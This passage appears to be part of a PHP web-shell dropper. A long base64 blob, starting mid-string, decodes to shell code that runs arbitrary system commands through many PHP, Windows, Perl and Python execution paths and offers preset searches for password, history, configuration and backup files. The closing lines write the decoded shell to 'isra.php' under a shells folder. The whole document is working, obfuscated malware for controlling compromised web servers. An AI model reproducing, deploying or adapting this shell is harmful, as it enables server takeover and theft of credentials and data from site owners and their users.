YW1lIC5mZXRjaG1haWxyYyc+ZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyc+ZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXI8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIGh0dHBkLmNvbmYnPmxvY2F0ZSBodHRwZC5jb25mIGZpbGVzPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSB2aG9zdHMuY29uZic+bG9jYXRlIHZob3N0cy5jb25mIGZpbGVzPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBwcm9mdHBkLmNvbmYnPmxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIHBzeWJuYy5jb25mJz5sb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIG15LmNvbmYnPmxvY2F0ZSBteS5jb25mIGZpbGVzPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBhZG1pbi5waHAnPmxvY2F0ZSBhZG1pbi5waHAgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIGNmZy5waHAnPmxvY2F0ZSBjZmcucGhwIGZpbGVzPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBjb25mLnBocCc+bG9jYXRlIGNvbmYucGhwIGZpbGVzPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBjb25maWcuZGF0Jz5sb2NhdGUgY29uZmlnLmRhdCBmaWxlczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdsb2NhdGUgY29uZmlnLnBocCc+bG9jYXRlIGNvbmZpZy5waHAgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIGNvbmZpZy5pbmMnPmxvY2F0ZSBjb25maWcuaW5jIGZpbGVzPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBjb25maWcuaW5jLnBocCc+bG9jYXRlIGNvbmZpZy5pbmMucGhwPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAnPmxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIGNvbmZpZyc+bG9jYXRlIGNvbmZpZyogZmlsZXMgPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBcIi5jb25mXCInPmxvY2F0ZSAuY29uZiBmaWxlczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdsb2NhdGUgXCIucHdkXCInPmxvY2F0ZSAucHdkIGZpbGVzPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBcIi5zcWxcIic+bG9jYXRlIC5zcWwgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIFwiLmh0cGFzc3dkXCInPmxvY2F0ZSAuaHRwYXNzd2QgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIFwiLmJhc2hfaGlzdG9yeVwiJz5sb2NhdGUgLmJhc2hfaGlzdG9yeSBmaWxlczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdsb2NhdGUgXCIubXlzcWxfaGlzdG9yeVwiJz5sb2NhdGUgLm15c3FsX2hpc3RvcnkgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIFwiLmZldGNobWFpbHJjXCInPmxvY2F0ZSAuZmV0Y2htYWlscmMgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIGJhY2t1cCc+bG9jYXRlIGJhY2t1cCBmaWxlczwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSdsb2NhdGUgZHVtcCc+bG9jYXRlIGR1bXAgZmlsZXM8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIHByaXYnPmxvY2F0ZSBwcml2IGZpbGVzPC9vcHRpb24+DQoJCTwvc2VsZWN0Pg0KCQkiOw0KCX0NCn0NCmZ1bmN0aW9uIENTUygkc2gzbGxDb2xvcikgew0KCSRjc3MgPSAgIg0KCTxzdHlsZT4NCglCT0RZDQoJew0KCQlGT05ULUZBTUlMWTogVmVyZGFuYTsgDQoJCW1hcmdpbjogMjsNCgkJYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCgkJY29sb3I6d2hpdGU7DQoJCWZvbnQtc2l6ZToxMHB0Ow0KCX0NCglzeSAgDQoJew0KCQljb2xvcjoiLiRzaDNsbENvbG9yLiI7DQoJCWZvbnQtc2l6ZTo3cHQ7DQoJfQ0KCSNCb3gNCgl7DQoJCWNvbG9yOiIuJHNoM2xsQ29sb3IuIjsNCgkJYmFja2dyb3VuZC1jb2xvcjojMDAwOw0KCQlmb250LXNpemU6MTRweDsNCgkJZm9udC13ZWlnaHQ6Ym9sZDsNCg0KCQlib3JkZXI6bm9uZTsNCgl9DQoJdGFibGUgDQoJew0KCQlib3JkZXI6bm9uZTsNCgkJQk9SREVSOiAgI2VlZWVlZSAgb3V0c2V0Ow0KCQlCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KCQljb2xvcjogI2NjY2NjYzsNCgkJZm9udC1zaXplOjEwcHg7DQoJfQ0KCXRyIA0KCXsNCgkJQk9SREVSLVJJR0hUOiAgI2NjY2NjYyAxcHggc29saWQ7DQoJCUJPUkRFUi1UT1A6ICAgICNjY2NjY2MgMXB4IHNvbGlkOw0KCQlCT1JERVItTEVGVDogICAjY2NjY2NjIDFweCBzb2xpZDsNCgkJQk9SREVSLUJPVFRPTTogI2NjY2NjYyAxcHggc29saWQ7DQoJCWNvbG9yOiAjZmZmZmZmOw0KCX0NCgl0ZCANCgl7DQoJCUJPUkRFUi1SSUdIVDogICNjY2NjY2MgMXB4IHNvbGlkOw0KCQlCT1JERVItVE9QOiAgICAjY2NjY2NjIDFweCBzb2xpZDsNCgkJQk9SREVSLUxFRlQ6ICAgI2NjY2NjYyAxcHggc29saWQ7DQoJCUJPUkRFUi1CT1RUT006ICNjY2NjY2MgMXB4IHNvbGlkOw0KCQljb2xvcjogI2NjY2NjYzsNCgl9DQoNCglpbnB1dCANCgl7DQoJCUJPUkRFUi1SSUdIVDogICIuJHNoM2xsQ29sb3IuIiAxcHggc29saWQ7DQoJCUJPUkRFUi1UT1A6ICAgICIuJHNoM2xsQ29sb3IuIiAxcHggc29saWQ7DQoJCUJPUkRFUi1MRUZUOiAgICIuJHNoM2xsQ29sb3IuIiAxcHggc29saWQ7DQoJCUJPUkRFUi1CT1RUT006ICIuJHNoM2xsQ29sb3IuIiAxcHggc29saWQ7DQoJCUJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQoJCWZvbnQ6IDlwdCB0YWhvbWE7DQoJCWNvbG9yOiAjZmZmZmZmOw0KCX0NCglzZWxlY3QgDQoJew0KCQlCT1JERVItUklHSFQ6ICAjZmZmZmZmIDFweCBzb2xpZDsNCgkJQk9SREVSLVRPUDogICAgIzk5OTk5OSAxcHggc29saWQ7DQoJCUJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMXB4IHNvbGlkOw0KCQlCT1JERVItQk9UVE9NOiAjZmZmZmZmIDFweCBzb2xpZDsNCgkJQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCgkJZm9udDogOXB0IHRhaG9tYTsNCgkJY29sb3I6ICNDQ0NDQ0M7Ow0KCX0NCglzdWJtaXQgDQoJew0KCQlCT1JERVI6ICAxcHggb3V0c2V0IGJ1dHRvbmhpZ2hsaWdodDsNCgkJQkFDS0dST1VORC1DT0xPUjogIzI3MjcyNzsNCgkJd2lkdGg6IDQwJTsNCgkJY29sb3I6ICNjY2NjY2M7DQoJfQ0KCXRleHRhcmVhIA0KCXsNCgkJQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxcHggc29saWQ7DQoJCUJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMXB4IHNvbGlkOw0KCQlCT1JERVItTEVGVDogICAjOTk5OTk5IDFweCBzb2xpZDsNCgkJQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxcHggc29saWQ7DQoJCUJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQoJCWNvbG9yOiAjZmZmZmZmOw0KCX0NCgkuU2F2ZXsNCgkJd2lkdGg6NTAwcHg7CQ0KCQlib3JkZXItY29sb3I6cmVkOw0KCX0NCglBOmxpbmsge0NPTE9SOiIuJHNoM2xsQ29sb3IuIjsgVEVYVC1ERUNPUkFUSU9OOiBub25lO30NCglBOnZpc2l0ZWQgeyBDT0xPUjoiLiRzaDNsbENvbG9yLiI7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9DQoJQTphY3RpdmUge0NPTE9SOiIuJHNoM2xsQ29sb3IuIjsgVEVYVC1ERUNPUkFUSU9OOiBub25lO30NCglBOmhvdmVyIHtjb2xvcjpibHVlO1RFWFQtREVDT1JBVElPTjogbm9uZTt9DQoJPC9zdHlsZT4NCgk8c2NyaXB0Pg0KCWZ1bmN0aW9uIG9wZW5QSFBJbmZvKCl7bXlfd2luZG93PSB3aW5kb3cub3BlbiAoXCI/aW5mbz1nZXRQaHBJbmZvXCIsXCJQSFAgSW5mb1wiLFwid2lkdGg9ODAwLGhlaWdodD02MDAsc2Nyb2xsYmFycz0xXCIpOwl9DQoJZnVuY3Rpb24gQWRkQWxpYXMoKXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnQ01EX0xpbmUnKS52YWx1ZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhbGlhcycpLnZhbHVlOyB9DQoJZnVuY3Rpb24gYWRkVXBsb2FkSW5wdXQoKXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXBsb2FkSW5wdXQnKS5pbm5lckhUTUwgKz0gJzxpbnB1dCB0eXBlPVwnZmlsZVwnIG5hbWU9XCd1cGxvYWRmaWxlW11cJz4nOwl9DQoJZnVuY3Rpb24gY2hhbmdlX2Rpcl9tb2RlKCkgew0KCQl2YXIgZGlyX21vZGUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGlyX21vZGUnKS52YWx1ZTsNCgkJZG9jdW1lbnQubG9jYXRpb24gPSAnP2Rpcl9tb2RlPScrZGlyX21vZGU7DQoJfQ0KCTwvc2NyaXB0Pg0KCSI7DQoJcmV0dXJuICRjc3M7DQp9DQpmdW5jdGlvbiBmaWx0ZXIoJHN0cmluZykgew0KCWlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkgIT0gMCl7cmV0dXJuIHN0cmlwc2xhc2hlcygkc3RyaW5nKTsJfQ0KCWVsc2V7cmV0dXJuICRzdHJpbmc7CX0NCn0NCmZ1bmN0aW9uIGZvb3RlcigpIHsNCgllY2hvICcNCgk8dGFibGUgd2lkdGg9IjEwMCUiPg0KCTx0cj4NCgk8dGQgd2lkdGg9IjEwMCUiPjxjZW50ZXI+DQoJPHN5PiAgfn48PCA8L3N5PlNlY3VyaXR5QnVzPHN5PiA+Pn5+PC9zeT48L2I+PGJyLz4NCgk8c3k+ICB+fjw8IDwvc3k+czRmM3czYkB5YWhvby5jb208c3k+ID4+fn48L3N5PjwvYj4NCgk8L2NlbnRlcj48L3RkPg0KCTwvdHI+DQoJPC90YWJsZT4NCgk8L2JvZHk+PC9odG1sPg0KCSc7DQp9DQpmdW5jdGlvbiBwcmludF9leGVfbWV0aG9kKCkgew0KCWdsb2JhbCAkb3M7IGdsb2JhbCAkZXhlY19tZXRob2Q7DQoJaWYoJG9zID09ICJMaW51eCIpIHsNCgkJPz4NCgkJPHNlbGVjdCBuYW1lPSJleGVfbWV0aG9kIiA+DQoJCQk8b3B0aW9uIHZhbHVlPSJleGVjIiA8P3BocCBpZigkZXhlY19tZXRob2QgPT0gImV4ZWMiKSB7ZWNobyAic2VsZWN0ZWQiO30gPz4+ZXhlYygpPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSJzeXN0ZW0iIDw/cGhwIGlmKCRleGVjX21ldGhvZCA9PSAic3lzdGVtIikge2VjaG8gInNlbGVjdGVkIjt9ID8+PnN5c3RlbTwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0ic2hlbGxfZXhlYyIgPD9waHAgaWYoJGV4ZWNfbWV0aG9kID09ICJzaGVsbF9leGVjIikge2VjaG8gInNlbGVjdGVkIjt9ID8+PnNoZWxsX2V4ZWM8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9InBhc3N0aHJ1IiA8P3BocCBpZigkZXhlY19tZXRob2QgPT0gInBhc3N0aHJ1Iikge2VjaG8gInNlbGVjdGVkIjt9ID8+PnBhc3N0aHJ1KCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9InByb2Nfb3BlbiIgPD9waHAgaWYoJGV4ZWNfbWV0aG9kID09ICJwcm9jX29wZW4iKSB7ZWNobyAic2VsZWN0ZWQiO30gPz4+cHJvY19vcGVuKCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9InBvcGVuIiA8P3BocCBpZigkZXhlY19tZXRob2QgPT0gInBvcGVuIikge2VjaG8gInNlbGVjdGVkIjt9ID8+PnBvcGVuKCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9InBlcmwiIDw/cGhwIGlmKCRleGVjX21ldGhvZCA9PSAicGVybCIpIHtlY2hvICJzZWxlY3RlZCI7fSA/Pj5wZXJsPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSJweXRob24iIDw/cGhwIGlmKCRleGVjX21ldGhvZCA9PSAicHl0aG9uIikge2VjaG8gInNlbGVjdGVkIjt9ID8+PnB5dGhvbjwvb3B0aW9uPg0KCQk8L3NlbGVjdD4NCgkJPD9waHANCgl9IGVsc2Ugew0KCQk/Pg0KCQk8c2VsZWN0IG5hbWU9ImV4ZV9tZXRob2QiID4NCgkJCTxvcHRpb24gdmFsdWU9ImV4ZWMiIDw/cGhwIGlmKCRleGVjX21ldGhvZCA9PSAiZXhlYyIpIHtlY2hvICJzZWxlY3RlZCI7fSA/Pj5leGVjKCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9InN5c3RlbSIgPD9waHAgaWYoJGV4ZWNfbWV0aG9kID09ICJzeXN0ZW0iKSB7ZWNobyAic2VsZWN0ZWQiO30gPz4+c3lzdGVtKCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9InNoZWxsX2V4ZWMiIDw/cGhwIGlmKCRleGVjX21ldGhvZCA9PSAic2hlbGxfZXhlYyIpIHtlY2hvICJzZWxlY3RlZCI7fSA/Pj5zaGVsbF9leGVjKCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9InBhc3N0aHJ1IiA8P3BocCBpZigkZXhlY19tZXRob2QgPT0gInBhc3N0aHJ1Iikge2VjaG8gInNlbGVjdGVkIjt9ID8+PnBhc3N0aHJ1KCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9InByb2Nfb3BlbiIgPD9waHAgaWYoJGV4ZWNfbWV0aG9kID09ICJwcm9jX29wZW4iKSB7ZWNobyAic2VsZWN0ZWQiO30gPz4+cHJvY19vcGVuKCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9InBvcGVuIiA8P3BocCBpZigkZXhlY19tZXRob2QgPT0gInBvcGVuIikge2VjaG8gInNlbGVjdGVkIjt9ID8+PnBvcGVuKCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9Indpbl9zaGVsbF9leGVjdXRlIiA8P3BocCBpZigkZXhlY19tZXRob2QgPT0gIndpbl9zaGVsbF9leGVjdXRlIikge2VjaG8gInNlbGVjdGVkIjt9ID8+Pndpbl9zaGVsbF9leGVjdXRlKCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9IndpbjMyX2NyZWF0ZV9zZXJ2aWNlIiA8P3BocCBpZigkZXhlY19tZXRob2QgPT0gIndpbjMyX2NyZWF0ZV9zZXJ2aWNlIikge2VjaG8gInNlbGVjdGVkIjt9ID8+PndpbjMyX2NyZWF0ZV9zZXJ2aWNlKCk8L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9ImZmaSIgPD9waHAgaWYoJGV4ZWNfbWV0aG9kID09ICJmZmkiKSB7ZWNobyAic2VsZWN0ZWQiO30gPz4+ZmZpPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSJwZXJsIiA8P3BocCBpZigkZXhlY19tZXRob2QgPT0gInBlcmwiKSB7ZWNobyAic2VsZWN0ZWQiO30gPz4+cGVybDwvb3B0aW9uPg0KCQkJPG9wdGlvbiB2YWx1ZT0icHl0aG9uIiA8P3BocCBpZigkZXhlY19tZXRob2QgPT0gInB5dGhvbiIpIHtlY2hvICJzZWxlY3RlZCI7fSA/Pj5weXRob248L29wdGlvbj4NCgkJCTxvcHRpb24gdmFsdWU9InNsYXNoX2J5cGFzcyA8P3BocCBpZigkZXhlY19tZXRob2QgPT0gInNsYXNoX2J5cGFzcyIpIHtlY2hvICJzZWxlY3RlZCI7fSA/PiI+c2xhc2ggYnlwYXNzPC9vcHRpb24+DQoJCTwvc2VsZWN0Pg0KCQk8P3BocA0KCX0NCn0NCmZ1bmN0aW9uIEV4ZSgkY29tbWFuZCkgew0KCWdsb2JhbCAkZGlyO2dsb2JhbCAkb3M7Z2xvYmFsICRleGVjX21ldGhvZDsNCgkkY29tbWFuZCA9IGZpbHRlcigkY29tbWFuZCk7DQoJDQoJaWYoJGV4ZWNfbWV0aG9kID09ICJleGVjIikgew0KCQlleGVjKCRjb21tYW5kLCRvdXRwdXQpO2VjaG8gam9pbigiXG4iLCRvdXRwdXQpOw0KCX0gZWxzZSBpZigkZXhlY19tZXRob2QgPT0gInN5c3RlbSIpIHsNCgkJc3lzdGVtKCRjb21tYW5kKTsNCgl9IGVsc2UgaWYoJGV4ZWNfbWV0aG9kID09ICJzaGVsbF9leGVjIikgew0KCQllY2hvIHNoZWxsX2V4ZWMoJGNvbW1hbmQpOw0KCX0gZWxzZSBpZigkZXhlY19tZXRob2QgPT0gInBhc3N0aHJ1Iikgew0KCQlwYXNzdGhydSgkY29tbWFuZCk7DQoJfSBlbHNlIGlmKCRleGVjX21ldGhvZCA9PSAicHJvY19vcGVuIikgew0KCQllY2hvIHByb2NfZXhlYygkY29tbWFuZCwkZGlyKTsNCgl9IGVsc2UgaWYoJGV4ZWNfbWV0aG9kID09ICJwb3BlbiIpIHsNCgkJJGZwID0gcG9wZW4oJGNvbW1hbmQsInIiKTt7d2hpbGUoIWZlb2YoJGZwKSl7JHJlc3VsdC49ZnJlYWQoJGZwLDEwMjQpO31wY2xvc2UoJGZwKTt9ZWNobyBjb252ZXJ0X2N5cl9zdHJpbmcoJHJlc3VsdCwiZCIsInciKTsNCgl9IGVsc2UgaWYoJGV4ZWNfbWV0aG9kID09ICJ3aW5fc2hlbGxfZXhlY3V0ZSIpIHsNCgkJZWNobyB3aW5zaGVsbCgkY29tbWFuZCk7DQoJfSBlbHNlIGlmKCRleGVjX21ldGhvZCA9PSAid2luMzJfY3JlYXRlX3NlcnZpY2UiKSB7DQoJCWVjaG8gc3J2c2hlbGwoJGNvbW1hbmQpOw0KCX0gZWxzZSBpZigkZXhlY19tZXRob2QgPT0gImZmaSIpIHsNCgkJZWNobyBmZmlzaGVsbCgkY29tbWFuZCk7DQoJfSBlbHNlIGlmKCRleGVjX21ldGhvZCA9PSAicGVybCIpIHsNCgkJZWNobyBwZXJsc2hlbGwoJGNvbW1hbmQpOw0KCX0gZWxzZSBpZigkZXhlY19tZXRob2QgPT0gInB5dGhvbiIpIHsNCgkJZWNobyBweXRob25fZXZhbCgiaW1wb3J0IG9zXG5vcy5zeXN0ZW0oJyIuJGNvbW1hbmQuIicpIik7DQoJfSBlbHNlIGlmKCRleGVjX21ldGhvZCA9PSAic2xhc2hfYnlwYXNzIikgew0KCQllY2hvIHNsYXNoQnlwYXNzKCRjb21tYW5kKTsNCgl9DQp9DQpmdW5jdGlvbiBwcm9jX2V4ZWMoJGNvbSAsICRkaXIpIHsNCiAgICAkc3RhcnRfcGlwZT1hcnJheSgwPT5hcnJheSgicGlwZSIsInciKSwxPT5hcnJheSgicGlwZSIsInciKSk7DQogICAgJHByb2Nlc3M9cHJvY19vcGVuKCRjb20sJHN0YXJ0X3BpcGUsJHBpcGVzLCRkaXIsTlVMTCk7DQogICAgcmV0dXJuIHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTsNCn0NCmZ1bmN0aW9uIHdpbnNoZWxsKCRjb21tYW5kKSB7DQoJJG5hbWU9d2hlcmVpc3RtUCgpLiJcXCIudW5pcWlkKCdOSicpOw0KCXdpbl9zaGVsbF9leGVjdXRlKCdjbWQuZXhlJywnJywiL0MgJGNvbW1hbmQgPlwiJG5hbWVcIiIpOw0KCXNsZWVwKDEpOw0KCSRleGVjPWZpbGVfZ2V0X2NvbnRlbnRzKCRuYW1lKTsNCglEZWxldGVGaWxlKCRuYW1lKTsNCglyZXR1cm4gJGV4ZWM7DQp9DQpmdW5jdGlvbiBzcnZzaGVsbCgkY29tbWFuZCkgew0KCSRuYW1lPXdoZXJlaXN0bVAoKS4iXFwiLnVuaXFpZCgnTkonKTsNCgkkbj11bmlxaWQoJ05KJyk7DQoJJGNtZD0oZW1wdHkoJF9TRVJWRVJbJ0NvbVNwZWMnXSkpPydkOlxcd2luZG93c1xcc3lzdGVtMzJcXGNtZC5leGUnOiRfU0VSVkVSWydDb21TcGVjJ107DQoJd2luMzJfY3JlYXRlX3NlcnZpY2UoYXJyYXkoJ3NlcnZpY2UnPT4kbiwnZGlzcGxheSc9PiRuLCdwYXRoJz0+JGNtZCwncGFyYW1zJz0+Ii9jICRjb21tYW5kID5cIiRuYW1lXCIiKSk7DQoJd2luMzJfc3RhcnRfc2VydmljZSgkbik7DQoJd2luMzJfc3RvcF9zZXJ2aWNlKCRuKTsNCgl3aW4zMl9kZWxldGVfc2VydmljZSgkbik7DQoJd2hpbGUoIWZpbGVfZXhpc3RzKCRuYW1lKSlzbGVlcCgxKTsNCgkkZXhlYz1maWxlX2dldF9jb250ZW50cygkbmFtZSk7DQoJRGVsZXRlRmlsZSgkbmFtZSk7DQoJcmV0dXJuICRleGVjOw0KfQ0KZnVuY3Rpb24gZmZpc2hlbGwoJGNvbW1hbmQpIHsNCgkkbmFtZT13aGVyZWlzdG1QKCkuIlxcIi51bmlxaWQoJ05KJyk7DQoJJGFwaT1uZXcgZmZpKCJbbGliPSdrZXJuZWwzMi5kbGwnXSBpbnQgV2luRXhlYyhjaGFyICpBUFAsaW50IFNXKTsiKTsNCgkkcmVzPSRhcGktPldpbkV4ZWMoImNtZC5leGUgL2MgJGNvbW1hbmQgPlwiJG5hbWVcIiIsMCk7DQoJd2hpbGUoIWZpbGVfZXhpc3RzKCRuYW1lKSlzbGVlcCgxKTsNCgkkZXhlYz1maWxlX2dldF9jb250ZW50cygkbmFtZSk7DQoJRGVsZXRlRmlsZSgkbmFtZSk7DQoJcmV0dXJuICRleGVjOw0KfQ0KZnVuY3Rpb24gcGVybHNoZWxsKCRjb21tYW5kKSB7DQoJJHBlcmw9bmV3IHBlcmwoKTsNCglvYl9zdGFydCgpOw0KCSRwZXJsLT5ldmFsKCJzeXN0ZW0oJyIuJGNvbW1hbmQuIicpIik7DQoJJGV4ZWM9b2JfZ2V0X2NvbnRlbnRzKCk7DQoJb2JfZW5kX2NsZWFuKCk7DQoJcmV0dXJuICRleGVjOw0KfQ0KZnVuY3Rpb24gc2xhc2hCeXBhc3MoJGNtZCkgew0KCUdlbmVyYXRlRmlsZSgiY21kLmJhdCIsIiRjbWQ+c3kzLnR4dCIuIlxyXG4gZXhpdCIpOw0KCWV4ZWMoIlxzdGFydCBjbWQuYmF0Iik7DQoJJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygnc3kzLnR4dCcpOw0KCXVubGluaygnc3kzLnR4dCcpOw0KCXJldHVybiAkY29udGVudDsNCn0NCmZ1bmN0aW9uIEdlbmVyYXRlRmlsZSgkbmFtZSwkY29udGVudCkgew0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2ZjbG9zZScpKSB7DQoJCSRmaWxlID0gZm9wZW4oJG5hbWUsIncrIik7DQoJCWlmKCRmaWxlKSB7DQoJCQlpZihmdW5jdGlvbl9leGlzdHMoJ2Z3cml0ZScpKXskd3JpdGVGaWxlID0gZndyaXRlKCRmaWxlLCRjb250ZW50KTsgfQkNCgkJCWVsc2UgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZnB1dHMnKSl7JHdyaXRlRmlsZSA9IGZwdXRzKCRmaWxlLCRjb250ZW50KTsgfQ0KCQkJZWxzZSBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpKXskd3JpdGVGaWxlID0gZmlsZV9wdXRfY29udGVudHMoJGZpbGUsJGNvbnRlbnQpO30NCgkJCWlmKCEkd3JpdGVGaWxlKXtyZXR1cm4gZmFsc2U7fQ0KCQl9DQoJCWVsc2V7cmV0dXJuIGZhbHNlO31mY2xvc2UoJGZpbGUpO3JldHVybiB0cnVlOw0KCX0NCn0NCmZ1bmN0aW9uIFNjYW5EaXJzKCkgew0KCWdsb2JhbCAkb3M7IGdsb2JhbCAkZGlyO2dsb2JhbCAkc2FmZU1vZGU7Z2xvYmFsICRkaXJfbW9kZTsNCglpZigkZGlyX21vZGUgPT0gImNtZCIpe2lmKCRvcyA9PSAiV2luZG93cyIpe0V4ZSgnZGlyJyk7fWVsc2V7IEV4ZSgnbHMgLWxpYScpO319DQoJZWxzZSB7DQoJCSRyZXN1bHQgLj0gIlBlcm1zCVNpemUJVGltZQkJT3duZXIvR3JvdXAJUi9XCVR5cGUJRmlsZQ0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiI7DQoJCSRoYW5kZWwgPSBvcGVuZGlyKCRkaXIpOw0KCQl3aGlsZSgoJGZpbGUgPSByZWFkZGlyKCRoYW5kZWwpKSE9IGZhbHNlKSANCgkJew0KCQkJJHNpemUgPSBmaWxlc2l6ZSgkZmlsZSk7DQoJCQlpZihmaWxldHlwZSgkZmlsZSkgPT0gImRpciIpeyR0eXBlID0gIjxESVI+Ijt9ZWxzZSB7JHR5cGUgPSAiPEZJTEU+Ijt9DQoJCQlpZihmaWxlb3duZXIoJGZpbGUpKXskb3duZXIgPSBmaWxlb3duZXIoJGZpbGUpO31lbHNleyRvd25lciA9ICJOT05FIjt9DQoJCQlpZihmaWxlZ3JvdXAoJGZpbGUpKXskZ3JvdXAgPSBmaWxlZ3JvdXAoJGZpbGUpO31lbHNleyRncm91cCA9ICJOT05FIjt9DQoJCQkkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KCQkJJHRpbWUgPSBkYXRlKCJ5L20vZCIsIGZpbGVjdGltZSgkZmlsZSkpOw0KCQkJaWYoaXNfd3JpdGFibGUoJGZpbGUpKXskaXNXcml0YWJsZSA9ICJZIjt9ZWxzZXskaXNXcml0YWJsZSA9ICJOIjt9DQoJCQlpZihpc19yZWFkYWJsZSgkZmlsZSkpeyRpc1JlYWRhYmxlID0gIlkiO31lbHNleyRpc1JlYWRhYmxlID0gIk4iO30NCgkJCSRyZXN1bHQgLj0gJHBlcm1zLiIJIi4kc2l6ZS4iCSIuJHRpbWUuIgkiLiRvd25lci4iLyIuJGdyb3VwLiIJIi4kaXNSZWFkYWJsZS4iLyIuJGlzV3JpdGFibGUuIgkiLiR0eXBlLiIJIi4kZmlsZS4iDQoiOw0KCQl9DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KZWNobyBmb290ZXIoKTsNCj8+DQo=';
file_put_contents('isra.php',base64_decode($isra));;
echo "<a href='./shells/isra.php'>Here isra.php</a><br>";
